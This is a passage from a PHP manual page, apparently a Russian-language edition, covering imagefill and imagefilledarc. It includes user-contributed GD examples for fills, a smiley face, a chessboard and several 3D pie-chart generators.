$image=gradient(300, 300, array('#000000', '#FFFFFF', '#FF0000', '#0000FF'));

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
dunhamzzz [A] gmail 01-Sep-2008 08:36
I feel its worth pointing out that you cannot fill a transparent colour that you have assigned with imagecolorallocatealpha, the colour will fill, but without its transparency,

I find the easiest method around this is to just fill a rectangle using imagefilledrectangle() to draw a fill instead.
Cypog 17-Mar-2008 07:27
imagefill can't deal with alpha colors, use imagefilledrectangle instead.

<?php

    header("Content-Type: image/png");
    $im = imagecreatefrompng("img/button.png");
    if (empty($_GET['alpha']))
        {$_GET['alpha'] = 10;}
    $color = imagecolorallocatealpha($im, 255, 255, 255, $_GET['alpha']);
    imagefillalpha($im, $color);
    imagepng($im);
    imagedestroy($im);

    function ImageFillAlpha($image, $color)
    {
        imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $color);
    }

?>
info at educar dot pro dot br 09-Mar-2007 07:54
Example 1
The filled region will be external to a demarcated region, if the initial coordinates will be outside of this region.

<?php
$src621 = imagecreate(200,200);
$clr_1_621 = imagecolorallocate($src621, 255, 255, 0);
$clr_2_621 = imagecolorallocate($src621, 0, 0, 250);
$clr_4_621 = imagecolorallocate($src621, 2,2,55);
imagerectangle($src621, 100, 100, 150, 150, $clr_4_621);
imagefill($src621, 110, 110, $clr_2_621);
header("Content-Type: image/png");
imagepng ($src621);
imagedestroy($src621);
?>

Example 2
The filled region will be internal to a demarcated region, if the initial coordinates will be inside of this region.
<?php
$src622 = imagecreate(200,200);
$clr_1_622 = imagecolorallocate($src622, 255, 255, 0);
$clr_2_622 = imagecolorallocate($src622, 0, 0, 250);
$clr_4_622 = imagecolorallocate($src622, 2,2,55);
imagerectangle($src622, 100, 100, 150, 150, $clr_4_622);
imagefill($src622, 10, 10, $clr_2_622);
header("Content-Type: image/png");
imagepng ($src622);
imagedestroy($src622);
?>

See another examples at:
http://www.educar.pro.br/a/gdlib/index.php?pn=50&tr=97
Gromitt 06-Mar-2007 10:14
If you need to fill a whole image (immediatly after its creation for instance), consider applying a filled rectangle instead, using imagefilledrectangle() :

<?php

$gdImage = imagecreatetruecolor(100, 100);
$gdColor = imagecolorallocate($gdImage, 255, 0, 0); // red
imagefilledrectangle($gdImage, 0, 0, 99, 99, $gdColor);

?>

which will require much less logic and processing from GD.
razonklnbd at yahoo dot com 24-Sep-2006 03:32
I spend more then two hour to find a function that can fill a pattern or file as background instead of color. but i can't find. so i develop the following function. i though this function will save time who need it...

Function will get four parameter
1. Main Image Identifier
2. Pattern Image Identifier
3. Final Image Width
4. Final Image Height

If you set final image width or height is less then main image width or height then you may get wrong result

<?php

function fill_with_patternfile($p_main_im, $p_patternfile_im, $p_width, $p_height){
    $pimiX=$p_patternfile_im;
    $pw=imagesx($pimiX);
    $ph=imagesy($pimiX);
    $targetImageIdentifier=imagecreatetruecolor($p_width,$p_height);
    if($pw<$p_width && $ph<$p_height){
        for($pX=0;$pX<$p_width;$pX+=$pw){
            for($pY=0;$pY<$p_height;$pY+=$ph){
                imagecopy($targetImageIdentifier,$pimiX,$pX,$pY,0,0,$pw,$ph);
            }
        }
    }else imagecopy($targetImageIdentifier,$pimiX,0,0,0,0,$pw,$ph);
    $w=imagesx($p_main_im);
    $h=imagesy($p_main_im);
    $nX=0;
    if($w<$p_width) $nX=intval(($p_width-$w)/2);
    $nY=0;
    if($h<$p_height) $nY=intval(($p_height-$h)/2);
    imagecopy($targetImageIdentifier,$p_main_im,$nX,$nY,0,0,$w,$h);
    return $targetImageIdentifier;
}
//    If you want to use a gif or png file as
//    pattern file you need to change function below :)
$pattern_im=imagecreatefromjpeg('logo.jpg');
//    If you want to use a gif or png file as
//    main file you need to change function below :)
$main_im=imagecreatefromjpeg('r2.jpg');
//    call the function width 500 and height 500
//    if your width and height is less then main images
//    width and height then you can't understand any change!
$final=fill_with_patternfile($main_im, $pattern_im, 500, 500);
//    view the image and destroy all instance
header('Content-type: image/jpeg');
imagejpeg($final);
imagedestroy($final);
imagedestroy($main_im);
imagedestroy($pattern_im);
exit();

?>
jonathan dot aquino at gmail dot com 08-Jun-2006 03:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak 29-Nov-2005 11:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu 29-Nov-2005 01:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
    $x = $i*50 + 2;
        $y = $j*50 + 2;
    if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
          imagefill($kep,$x,$y,$fekete);
          }

    }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net 28-Jul-2005 08:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia 28-Jun-2003 03:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh 04-Jun-2003 08:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 05:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com 09-Jan-2000 05:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.


Рисование и заливка дуги

  • « imagefill
  • imagefilledellipse »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование и заливка дуги

imagefilledarc

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledarc — Рисование и заливка дуги

Описание

imagefilledarc(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $start_angle,
int $end_angle,
int $color,
int $style
): bool

Рисует дугу с центром в заданных координатах изображения image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

center_x

x-координата центра.

center_y

y-координата центра.

width

Ширина дуги.

height

Высота дуги.

start_angle

Угол начала дуги в градусах.

end_angle

Угол окончания дуги в градусах. 0° соответствует положению 3-часа. Дуга рисуется по часовой стрелке.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

style

Битовое или следующих констант:

  1. IMG_ARC_PIE
  2. IMG_ARC_CHORD
  3. IMG_ARC_NOFILL
  4. IMG_ARC_EDGED
IMG_ARC_PIE и IMG_ARC_CHORD взаимно исключающие; IMG_ARC_CHORD просто соединяет начало и конец дуги прямой линией; IMG_ARC_PIE рисует между ними часть окружности. IMG_ARC_NOFILL означает, что должны быть только границы, заливка не требуется. IMG_ARC_EDGED, если используется вместе с IMG_ARC_NOFILL, означает, что начало и конец дуги соединяются с центром - это хороший способ (лучше чем заливка) получить сектор (кусок пирога).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Создание трёхмерного пирога

<?php

// создание изображения
$image = imagecreatetruecolor(100, 100);

// определение цветов
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred = imagecolorallocate($image, 0x90, 0x00, 0x00);

// делаем эффект 3Д
for ($i = 60; $i > 50; $i--) {
imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// вывод изображения
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера : Создание трёхмерного пирога

User Contributed Notes

vrp76 at mail dot ru 29-Nov-2016 08:05
The analogue of the function

<?php

function myimagefilledarc($image, $cx, $cy, $width, $height, $start, $end, $color, $style = IMG_ARC_PIE){

    $delta = 0.1;
    $twoPi = 2*pi();

    $w = $width/2;
    $h = $height/2;

    if($h<=$w){
        $kx=$w;
        $ky=$w*$h/$w;
    }else{
        $kx=$h*$w/$h;
        $ky=$h;
    }

    $StartRad = deg2rad($start);
    $EndRad   = deg2rad($end);

    $array_points[] = $cx;
    $array_points[] = $cy;

    $a = $StartRad;

    if($style==IMG_ARC_PIE
     or $style==IMG_ARC_EDGED
     or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)
     or $style==(IMG_ARC_EDGED|IMG_ARC_NOFILL)){

        if($StartRad>=$EndRad){

            $b[] = $twoPi;
            $b[] = $EndRad;

        }else $b[] = $EndRad;

    }else $b[] = 0;

    foreach($b as $vb){
        do {
            $array_points[] = $cx + $kx*cos($a);
            $array_points[] = $cy + $ky*sin($a);
            $a += $delta;
        } while ($a<$vb);
        $a = 0;
    }

    $array_points[] = $cx + $kx*cos($EndRad);
    $array_points[] = $cy + $ky*sin($EndRad);

    $count_array_points    = count($array_points);
    $num_points = $count_array_points/2;

    if($style==IMG_ARC_PIE or $style==IMG_ARC_EDGED or $style==IMG_ARC_CHORD){
        imagefilledpolygon($image, $array_points, $num_points, $color);
    }elseif($style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){

        $i = 1;
        $c = $count_array_points - 1;

        $x1 = $array_points[++$i];
        $y1 = $array_points[++$i];

        do {
            $x2 = $array_points[++$i];
            $y2 = $array_points[++$i];
            imageline($image, $x1, $y1, $x2, $y2, $color);
            $x1 = $x2;
            $y1 = $y2;
        } while ($i<$c);

    }elseif($style==(IMG_ARC_CHORD|IMG_ARC_NOFILL) or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){
        imageline($image, $array_points[2], $array_points[3], $array_points[4], $array_points[5], $color);
    }else{
        imagepolygon($image, $array_points, $num_points, $color);
    }

}

$image = imagecreatetruecolor(900, 1250);

$white        = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray[]     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$gray[]     = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red[]      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$red[]      = imagecolorallocate($image, 0x90, 0x00, 0x00);
$yellow[]    = imagecolorallocate($image, 0xFF, 0xFF, 0x00);
$yellow[]    = imagecolorallocate($image, 0x90, 0x90, 0x00);

$Cx = 200;
$Cy = 100;

$W = 300;
$H = 100;

$Dx = 500;
$Dy = 0;
$Dy_3d = 40;

$Angles['yellow']    = array(180,0);
$Angles['gray']        = array(0,88);
$Angles['navy']        = array(88,92);
$Angles['red']        = array(92,180);

$styles['IMG_ARC_PIE'] = IMG_ARC_PIE;

$styles['IMG_ARC_CHORD'] = IMG_ARC_CHORD;

$styles['IMG_ARC_PIE|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_NOFILL;

$styles['IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL;

imagestring($image, 5, 130, 15, 'imagefilledarc', $white);

imagestring($image, 5, 130 + $Dx, 15, 'myimagefilledarc', $white);

foreach($styles as $name_style => $style){

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            imagefilledarc($image, $Cx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        imagefilledarc($image, $Cx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            myimagefilledarc($image, $Cx+$Dx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        myimagefilledarc($image, $Cx+$Dx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    imagestring($image, 5, 450-strlen($name_style)*8/2, $Cy+$Dy+$H-10, $name_style, $yellow[0]);

    $Dy+=200;
}

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
xcoda3 at web dot de 23-Jul-2015 04:24
For everyone who will use imageellipse() with a border (imagesetthickness() not working correctly).
This function simualtes the standard gd border.

<?php

function imageEllipseWithBorder($image, $centerX, $centerY, $width, $height, $color, $borderWidth)
    {
        // Calculate inner and outer strength of border
        $borderOuterStrength = (($borderWidth - 1) / 2);
        $borderInnerStrength = ((($borderWidth - 1) / 2) + 1);

        // Caculate x-/y-offset from 0/0 position to ellipse center
        $ellipseXOffset = $centerX - ($width / 2) - $borderOuterStrength;
        $ellipseYOffset = $centerY - ($height / 2) - $borderOuterStrength;

        // Create temp image for editing
        $tempImageWidth  = $width + ($borderOuterStrength * 2) + 1;
        $tempImageHeight = $height + ($borderInnerStrength * 2) + 1;
        $tempImage = imagecreatetruecolor($tempImageWidth, $tempImageHeight);
        imagealphablending($tempImage, false);

        // Fill temp image with "transparent" color
        $transparent = imagecolorallocatealpha($tempImage, 255, 255, 255, 127);
        imagefill($tempImage, 0, 0, $transparent);

        // Draw outer ellipse (representing the border)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width  + $borderOuterStrength * 2,
            $height + $borderOuterStrength * 2,
            $color
        );

        // Draw inner ellipse (transparent area)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width - $borderInnerStrength * 2,
            $height - $borderInnerStrength * 2,
            $transparent
        );

        // "Paste" ellipse (with transparent inner area) into image at original position
        imagealphablending($image, true);
        imagecopy(
            $image,
            $tempImage,
            $ellipseXOffset + ($borderWidth + 1) % 2,
            $ellipseYOffset + ($borderWidth + 1) % 2,
            0,
            0,
            $tempImageWidth,
            $tempImageHeight
        );
    }

?>
floripondia dot 88 at hotmail dot com 22-Nov-2013 04:28
If you want to make a pie graph with exploded slices and data shows on each one and data side right too you can use this snippet.
<?php
$values = array("2010" => 1950, "2011" => 750, "2012" => 2100, "2013" => 580, "2014" => 5000);
$total = count($values);
$data = ($total == 0) ? array(360) : array_values($values);
$keys = ($total == 0) ? array("") : array_keys($values);
$radius = 30;
$imgx = 1800 + $radius;
$imgy = 600 + $radius;
$cx = 400 + $radius;
$cy = 200 + $radius;
$sx = 800;
$sy = 400;
$sz = 150;
$data_sum = array_sum($data);
$angle_sum = array(-1 => 0, 360);
$typo = "./helvetica.ttf";
$im = imagecreate($imgx, $imgy);
imagecolorallocate($im, 255, 255, 255);
$color = array(
    array(220, 20, 60),
    array(77, 33, 114),
    array(249, 141, 53),
    array(158, 37, 59),
    array(1, 128, 128),
    array(28, 94, 160),
    //array(206, 16, 118),
    array(43, 67, 86),
    //array(155, 108, 166),
    array(83, 69, 62)
);
shuffle($color);
shuffle($color);
shuffle($color);
$colors = array(imagecolorallocate($im, $color[0][0], $color[0][1], $color[0][2]));
$colord = array(imagecolorallocate($im, ($color[0][0] / 1.5), ($color[0][1] / 1.5), ($color[0][2] / 1.5)));
$factorx = array();
$factory = array();
for($i = 0; $i < $total; $i++){
    $angle[$i] = (($data[$i] / $data_sum) * 360);
    $angle_sum[$i] = array_sum($angle);
    $colors[$i] = imagecolorallocate($im, $color[$i][0], $color[$i][1], $color[$i][2]);
    $colord[$i] = imagecolorallocate($im, ($color[$i][0] / 1.5), ($color[$i][1] / 1.5), ($color[$i][2] / 1.5));
    $factorx[$i] = cos(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
    $factory[$i] = sin(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
}
for($z = 1; $z <= $sz; $z++){
    for($i = 0; $i < $total; $i++){
        imagefilledarc($im, $cx + ($factorx[$i] * $radius), (($cy + $sz) - $z) + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colord[$i], IMG_ARC_PIE);
    }
}
for($i = 0; $i < $total; $i++){
    imagefilledarc($im, $cx + ($factorx[$i] * $radius), $cy + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colors[$i], IMG_ARC_PIE);
    imagefilledrectangle($im, 900, 50 + ($i * 50 * 2), 950, 100 + ($i * 50 * 2), $colors[$i]);
    imagettftext($im, 50, 0, 970, 100 + ($i * 50 * 2), imagecolorallocate($im, 0, 0, 0), $typo, $keys[$i]);
    imagettftext($im, 40, 0, $cx + ($factorx[$i] * ($sx / 4)) - 40, $cy + ($factory[$i] * ($sy / 4)) + 10, imagecolorallocate($im, 0, 0, 0), $typo, $data[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
splogamurugan at gmail dot com 09-Feb-2011 02:53
A simple pie chart generation script.
Displays the percentage at center arc and displays the Legends with random colors.

<?php
class simplepie
{
    function __construct($width, $height, $dataArr)
    {
        $font = './verdana.ttf'; /** get it from c:/windows/fonts dir */
        $this->image = imagecreate($width,$height);
        $piewidth = $width * 0.70;/* pie area */
        $x = round($piewidth/2);
        $y = round($height/2);
        $total = array_sum($dataArr);
        $angle_start = 0;
        $ylegend = 2;
        imagefilledrectangle($this->image, 0, 0, $width, $piewidth, imagecolorallocate($this->image, 128, 128, 128));
        foreach($dataArr as $label=>$value) {
            $angle_done    = ($value/$total) * 360; /** angle calculated for 360 degrees */
            $perc          = round(($value/$total) * 100, 1); /** percentage calculated */
            $color         = imagecolorallocate($this->image, rand(0, 255), rand(0, 255), rand(0, 255));
            imagefilledarc($this->image, $x, $y, $piewidth, $height, $angle_start, $angle_done+= $angle_start, $color, IMG_ARC_PIE);
            $xtext = $x + (cos(deg2rad(($angle_start+$angle_done)/2))*($piewidth/4));
            $ytext = $y + (sin(deg2rad(($angle_start+$angle_done)/2))*($height/4));
            imagettftext($this->image, 6, 0, $xtext, $ytext, imagecolorallocate($this->image, 0, 0, 0), $font, "$perc %");
            imagefilledrectangle($this->image, $piewidth+2, $ylegend, $piewidth+20, $ylegend+=20, $color);
            imagettftext($this->image, 8, 0, $piewidth+22, $ylegend, imagecolorallocate($this->image, 0, 0, 0), $font, $label);
            $ylegend += 4;
            $angle_start = $angle_done;
        }
    }
    function render()
    {
        header('Content-type: image/png');
        imagepng($this->image);
    }
}
/** usage */
$dataArr = array(2001=>10, 2002=>30, 2003=>50, 2004=>10);
$width=600;
$height=480;
$pie = new simplepie($width, $height, $dataArr);
$pie->render();
?>
Christopher Kramer 17-Sep-2009 04:25
If this function is not available because you're using an old gdlib version, here is a workaround if you want to draw a pie chart:

<?php

// width and height of the image
$width=200;
$height=200;

$simulate_old_gd=true; // do not use imagefilledarc although available?

// the pieces of the pie (in degree)
$pieces=array(180,90,45,25,15,5);

$diagram=imagecreate($width,$height);

// background color
$white=imagecolorallocate($diagram, 255, 255, 255);
imagefilledrectangle($diagram,0,0,$width,$height,$white);

// the circle is 2px smaller than the image
$width-=2;
$height-=2;

// we need a border color
$black=imagecolorallocate($diagram, 0, 0, 0);

// draw the border of the pie
imagearc($diagram, round($width/2), round($height/2),
         $width, $height, 0, 360, $black);

// position (in degrees) where to place the next piece
$position=270;
// we will use calculated gray colors for simple example
$gray=0;

foreach($pieces as $deg)
 {
 // calculate the gray color
 $gray+=30;
 if($gray>255) $gray=0;
 $color=imagecolorallocate($diagram,$gray,$gray,$gray);

 // position must be kept < 360
 if($position>360) $position-=360;

 if(!$simulate_old_gd && is_callable('imagefilledarc'))
  {
  imagefilledarc($diagram, round($width/2),
  round($height/2), $width, $height, $position,
  $position+$deg, $color,IMG_ARC_EDGED);
  }
 else
  {
  // we use some maths to calculate the pixel on the circle
  $pix_x=round(floor(($width-2)/2)*cos($position/180*M_PI)
         +round($width/2));
  $pix_y=round(floor(($height-2)/2)*sin($position/180*M_PI)
         +round($height/2));
  // now we  draw a line from the mid of the circle to the
  // calculated pixel on the circle
  imageline($diagram, round($width/2), round($height/2),
            $pix_x, $pix_y, $black);
  // now we need a pixel for flood filling.
  //- We could use maths to calculate a pixel inside the
  // piece:
  //$fill_x=round(floor(($width-10)/2)*
  //        cos(($position+2)/180*M_PI)+round($width/2));
  //$fill_y=round(floor(($height-10)/2)*
  //        sin(($position+2)/180*M_PI)+round($height/2));
  //- or we could use an universal pixel with less maths ;)
  // (top mid):
  $fill_x=floor($width/2)-2;
  $fill_y=3;
  // now we flood fill the circle
  @imagefilltoborder ($diagram,$fill_x,$fill_y,$black,$color);
  /* (it does not matter here that we fill more than we need
      because the next pieces will fix this)
     IF YOU ONLY WANT ONE PIECE
     (simulate imagefilledarc) you'd have to draw
     both border lines and flood fill afterwards */
  }
 // the position of the next piece is $deg degrees further
 $position+=$deg;
 }

// output the image
header('Content-type: image/png');
imagepng($diagram);
imagedestroy($digram);
?>
mateusz dot charytoniuk at gmail dot com 26-Feb-2009 09:31
The code below uses colors from "hans at lintoo dot dk"'s note. It delivers pie charts with labels:

<?php
$bright_list = array(
    array(255, 203, 3),
    array(220, 101, 29),
    array(189, 24, 51),
    array(214, 0, 127),
    array(98, 1, 96),
    array(0, 62, 136),
    array(0, 102, 179),
    array(0, 145, 195),
    array(0, 115, 106),
    array(178, 210, 52),
    array(137, 91, 74),
    array(82, 56, 47)
);
$dark_list = array(
    array(205, 153, 0),
    array(170, 51, 0),
    array(139, 0, 1),
    array(164, 0, 77),
    array(48, 0, 46),
    array(0, 12, 86),
    array(0, 52, 129),
    array(0, 95, 145),
    array(0, 65, 56),
    array(128, 160, 2),
    array(87, 41, 24),
    array(32, 6, 0)
);

$data = array();
$angle = array();
$title = array();
$i = 0;
foreach( $_GET as $key => $value ) {
    $data[$i] = intval($value);
    $title[$i++] = str_replace("_"," ",strval($key));
}
$sum = array_sum($data);
if( $sum == 0 ) {
    ++ $sum;
}
$count = count($data);
for( $i = 0; $i < $count; ++ $i ) {
    $angle[$i] = floor($data[$i]/$sum*360);
    if( $angle[$i] == 0 ) {
        ++ $angle[$i];
    }
}
$sum_angle = array_sum($angle);
if( $sum_angle < 360 ) {
    $angle[0]+=360-$sum_angle;
}

$height = $count*34;
if( $height < 180 ) {
    $height = 180;
}

$im  = imagecreate (350, $height);
$background = imagecolorallocate($im, 226, 226, 226);
$border = imagecolorallocate($im,97,97,97);
$font_color = imagecolorallocate($im,0,0,0);
$font = 'yourfont.ttf';

$bright = array();
foreach( $bright_list as $c ) {
    $bright[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}

$dark = array();
foreach( $dark_list as $c ) {
    $dark[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}
$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    for( $j = 100; $j > 90; -- $j ) {
        imagefilledarc($im, 100, $j, 180, 120, $tmp, $tmp+$angle[$i], $dark[$i], IMG_ARC_PIE);
    }
    $tmp += $angle[$i];
}

$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    imagefilledarc($im, 100, 90, 180, 120, $tmp, $tmp+$angle[$i], $bright[$i], IMG_ARC_PIE);
    $tmp += $angle[$i];
}
for( $i = 0; $i < $count; ++ $i ) {
    imagefilledrectangle($im, 209, 19+($i*30), 231, 41+($i*30), $border);
    imagefilledrectangle($im, 210, 20+($i*30), 230, 40+($i*30), $bright[$i]);
    imagefttext($im, 11, 0, 240, 34+($i*30), $font_color, $font, $title[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

try 'pie.php?foo=3&bar=4&baz=6'
Mike 14-Aug-2007 12:43
The previous example does not work well.  This is much better and faster:

<?php
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='600';$imgy='400';//Set Image Size. ImageX,ImageY
$cx = '300';$cy ='150'; //Set Pie Postition. CenterX,CenterY
$sx = '600';$sy='300';$sz ='100';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/1.5),($g/1.5),($b/1.5));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
        // first slice
    imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,0
    ,$angle_sum[0],$colord[0],IMG_ARC_EDGED);
   for($i=1;$i<=$Randomized;$i++){
        imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
        ,$angle_sum[$i],$colord[$i],IMG_ARC_NOFILL);
   };
};
//Top pie.
   // first slice
   imagefilledarc($im,$cx,$cy,$sx,$sy,0 ,$angle_sum[0], $colors[0], IMG_ARC_PIE);
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
imazir at gmail dot com 31-Jan-2006 02:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com 01-Jul-2005 11:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
    {
        if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
        if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
